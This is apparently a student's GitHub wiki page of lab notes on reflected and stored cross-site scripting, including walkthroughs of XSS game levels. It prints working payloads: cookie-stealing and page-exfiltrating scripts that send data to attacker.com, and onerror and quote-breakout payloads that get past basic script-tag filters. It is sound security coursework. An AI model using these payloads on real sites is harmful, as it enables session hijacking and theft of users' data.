Reflective and Stored XSS Activity - Hsanokklis/2023-2024-Tech-journal GitHub Wiki

To start to get familiar with simple XSS methods, do the first 2 levels of the game.

Reflective XSS occurs when an attacker injects malicious scripts into input fields/URLs. The request is the reflected back to the attacker by the web application. This most commonly happens when user-supplied data is not properly validated before it is echoed back to the user.

• Search Bar
  • A search bar can reflect the user's query back in the search results without proper input validation. An attacker could craft a malicious URL containing a script.
  • If the website reflects the query directly onto the search results page without sanitization, the script will be executed when the page loads, showing an alert box with the message XSS.

https://vulnerable-website.com/search?q=<script>alert('XSS');</script>

• Contact Form
  • A website may have a conduct form where users can input their name, email, and message. If the website reflects the user's input back to them without proper sanitization and attacker could craft a URL with a malicious script in the message field:

https://vulnerable-website.com/contact?message=<script>fetch('https://attacker.com/steal-cookies.php?cookie='+document.cookie);</script>

• Error Message
  • Sometimes websites mat reflect user input in error messages. For instance, if a website has a login page and reflects the username in an error message when the login fails, and attacker could craft a URL with a malicious username:

https://vulnerable-website.com/login?username=<script>alert('XSS');</script>&password=anything

Stored XSS occurs when an attacker injects malicious scripts into a website, which is then later executed when other users interact with the affected page.

• Comment Section
  • If a website does not properly sanitize user input of comment sections, and attacker could submit a comment containing malicious Javascript code such as:

<script>alert('You have been hacked!');</script>

• Profile Page
  • In a social networking site users are able to have profile pages where they can input personal information including a biography or description, if the website does not properly sanitize this input, an attacker could modify their own profile to include malicious Javascript:

<script>document.location='https://attacker.com/steal-cookies.php?cookie='+document.cookie;</script>

• Message board
  • A forum or message board allows users to post messages and replies. If the website fails to sanitize user input an attacker could inject a script into the message.

<script>fetch('https://attacker.com/log-keystrokes.php?keystrokes='+encodeURIComponent(document.body.innerHTML));</script>

This level demonstrates a common cause of cross-site scripting where user input is directly included in the page without proper escaping.

• <script>alert(1)</script>
  • I executed this into the query box and was able to get the script to pop up!
• ?query=<script>alert(1)</script>
  • This is what popped into the URL

• When making an alert with text you have to put them in "" so that it is processed as a string

Links used:

• https://brightsec.com/blog/cross-site-scripting-xss/

Web applications often keep user data in server-side and, increasingly, client-side databases and later display it to users. No matter where such user-controlled data comes from, it should be handled carefully. This level shows how easily XSS bugs can be introduced in complex apps.

• <img src=“NoFile.gif” onerror=alert("soup!")>

• <h1 onerror=alert("soup!")>Good day!<h1>
  • I tried this again with the header tag to see if I could get it to work and it did!

• The reason that you are not able to just do <script></script> in this section is that the simplest forms of blocking of XXS always check for that syntax first. So putting an alert in another tag hides the malicious code and allows you to bypass those simple forms of XXS blockers.

As you've seen in the previous level, some common JS functions are execution sinks which means that they will cause the browser to execute any scripts that appear in their input. Sometimes this fact is hidden by higher-level APIs which use one of these functions under the hood. The application on this level is using one such hidden sink.

The sink is the reflection point that eventually executes (or helps with execution of) the malicious JavaScript injected through the source. These are usually locations on the DOM or Browser Object that can change and invoke code, or they are JavaScript routines that allow direct JavaScript execution.

• The Document Object Model (DOM)
  • Programming interface for web documents
  • Lets code interact with your webpage
• The Browser Object Model (BOM)
  • allows JavaScript to "talk to" the browser.

• '/><script>alert(1)</script>

First I had to find the part of Javascript that had user-input. You can see below that num is user input. I knew this because I knew that the window.location object was subject to XXS. When a user clicks on one of the tabs in the web page, you can see in the URL the the number in changes. So when I am on tab 2 the URL will say frame#2. What I had to target was where that number should be.

• ' onerror="alert(1)";

This is another way to get the alert! I tried this originally, but I wasn't using the correct escape character.

• The reason that this worked was because of the ' that I placed after the #. This broke up the the string with the user input and allowed me to inject my own code into it.
• You can see in the picture below, the first quotation that is circled needs to be closed, and its closed by the quotation that is being pointed to by the arrow. Putting ' ends the circled quote and then allows you to put in your own script after that.

Links used:

• https://portswigger.net/web-security/cross-site-scripting/dom-based